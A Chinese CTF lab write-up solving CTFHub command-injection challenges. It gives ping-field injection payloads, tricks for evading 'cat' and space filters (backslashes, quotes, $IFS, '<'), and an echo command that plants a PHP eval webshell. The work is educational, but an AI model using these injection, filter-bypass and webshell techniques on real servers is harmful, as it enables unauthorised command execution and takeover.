CTFHub題解-技能樹-Web-RCE【命令注入、過濾cat、過濾空格】(一)


CTFHub題解-技能樹-Web-Web工具配置-RCE
 
 
 本文記錄    命令注入 、  過濾cat 、  過濾空格 的題解~ 
 
 
 
 
 
    RCE 的知識點:
 
  RCE英文全稱:remote command/code execute(遠程命令/代碼執行漏洞);
 
  RCE分為遠程命令執行ping和遠程代碼執行evel。
  漏洞出現的原因:沒有在輸入口做輸入處理。
  我們常見的路由器、防火牆、入侵檢測等設備的web管理界面上。
  一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交后,后台會對該IP地址進行一次ping測試,並返回測試結果。其實這就是一個接口,可以讓攻擊者直接向后台服務器遠程注入操作系統命令或者代碼,從而控制后台系統,這就是RCE漏洞。
 
  這里涉及到一個ping命令:
  Ping是Windows、Unix和Linux系統下的一個命令。ping也屬於一個通信協議,是TCP/IP協議的一部分。利用“ping”命令可以檢查網絡是否連通,可以很好地幫助我們分析和判定網絡故障。
 
  補充一些常用的管道符:
 
   Windows系統支持的管道符如下:
 
1. “|”:直接執行后面的語句。
2. “||”:如果前面的語句執行失敗,則執行后面的語句,前面的語句只能為假才行。
3. “&”:兩條命令都執行,如果前面的語句為假則直接執行后面的語句,前面的語句可真可假。
4. “&&”:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。

 

 
   Linux系統支持的管道符如下:
1. “;”:執行完前面的語句再執行后面的語句。
2. “|”:顯示后面語句的執行結果。
3. “||”:當前面的語句執行出錯時,執行后面的語句。
4. “&”:兩條命令都執行,如果前面的語句為假則執行執行后面的語句,前面的語句可真可假。
5. “&&”:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。

 

 
 
 
(一) 命令注入
 
 
 
 
1.知識點
 
    Command Injection ,即  命令注入攻擊 ,是指由於Web應用程序對用戶提交的數據過濾不嚴格,導致黑客可以通過構造特殊命令字符串的方式,將數據提交至Web應用程序中,並利用該方式執行外部程序或系統命令實施攻擊,非法獲取數據或者網絡資源等。
  在命令注入的漏洞中,最為常見的是PHP的命令注入。
 
  PHP命令注入攻擊存在的主要原因是Web應用程序員在應用PHP語言中一些具有命令執行功能的函數時,對用戶提交的數據內容沒有進行嚴格的過濾就帶入函數中執行而造成的。
 
 
  Commad Inject漏洞產生原因及如何注入:
  在web程序中,因為業務功能需求,需要通過web前端傳遞參數到后台服務器上執行(特別是一些網絡設備的web管理界面),但由於開發人員沒有對輸入進行嚴格的過濾,導致攻擊着可以構造一些額外的“帶有非法目的”的命令,欺騙后台服務器執行,造成破壞。
 
 
 
 
  以上三點缺一不可哦~
 
 
 
 
2.題解
 
 
 
 
 
 
 
 
 
  命令:127.0.0.1&cat 324861195929839.php 
 
 
 
 
 
 
  命令:127.0.0.1&cat 324861195929839.php | base64 
 
 
  PD9waHAgLy8gY3RmaHViezdmNGE0MmNjYTgyN2U1MmFjNTM2ZmQxZmJlMDA4ZjI1OWI4MzJiZDh9Cg== 
 
base64解碼:
 
   ctfhub{7f4a42cca827e52ac536fd1fbe008f259b832bd8} 
 
 
方法二(沒做出來......蟻劍沒連接上qwq):
 
ps: 現已解決~
 
  命令:127.0.0.1&echo"<?php @eval($_POST['test']);?>">555.php 
 
命令:127.0.0.1&ls
 
 
 
 
但是.....蟻劍連接不上......
 
等這個問題解決了,再來更新吧~
 
歡迎大佬們指點!
 
-----------(*^▽^*)-----------20200407-------我來填坑啦~----------------(*^▽^*)--------------
 
感謝評論區的 @jim_onetweo大佬的指點~
 
我重新開了這道題的環境!
 
 

 

在文本框里填寫命令:
 
  127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php 

 

 

 

 
 
 
 

 

看到flag啦~

 

那么是為什么?

這里搬運一下評論區的回答:

 需要注意echo命令會調用$_POST導致原始文件中沒有,因此需要改為echo -e "<?php @eval(\$_POST['test']);?>555.php即可! 

 

筆者又驗證了一下一句話木馬里面 $_POST 前不加  \  

 
  127.0.0.1&echo -e "<?php @eval($_POST['test']);?>" > 123.php  
 
 
 
 
 
驗證了一下,確實是這樣啦~
 
 
嘻嘻,又學到了一個小知識點,開心!
 
感謝博客園里友好的小伙伴們~
 
 
 
 
(二)過濾cat
 
 
 
 
 
1.知識點
 
  反斜杠 : 例如  ca\t fl\ag.php
 
  連接符: 例如   ca''t fla''g.txt
 
 
 
2.題解
 
 
  命令:127.0.0.1&ca\t flag_301343127217397.php 
 
 
 
 
查看源碼方式:
 
 
 
 
 
和上一道題一樣,用base64編碼方式輸出:
 
   命令:127.0.0.1&ca\t flag_301343127217397.php | base64
 
 
 
  ctfhub{590af5dd5165317bcd61ed35c73d79b04f5a92db} 
 
 
 
(三)過濾空格
 
 
 
 
 
1.知識點
 
在 bash 下, 可以用以下字符代替空格:
  <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  等
 
 
 
2.題解
 
 
 
  命令:127.0.0.1&cat<flag_279992832420591.php|base64 
 
base64方式輸出~ 
 
 
 
 
查看源碼的方法:
 
  命令:127.0.0.1&cat<flag_279992832420591.php 
 
 
 
 
 
 
 
  ctfhub{ffa0e0ea00501d6bedb30841cf720eca089e3947} 
 
 
 
 
 
 
 
參考資料:
 
https://blog.csdn.net/qq_43814486/article/details/90020139
https://www.dazhuanlan.com/2020/03/01/5e5ac71a86cec/
https://www.cnblogs.com/chalan630/p/12542239.html
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM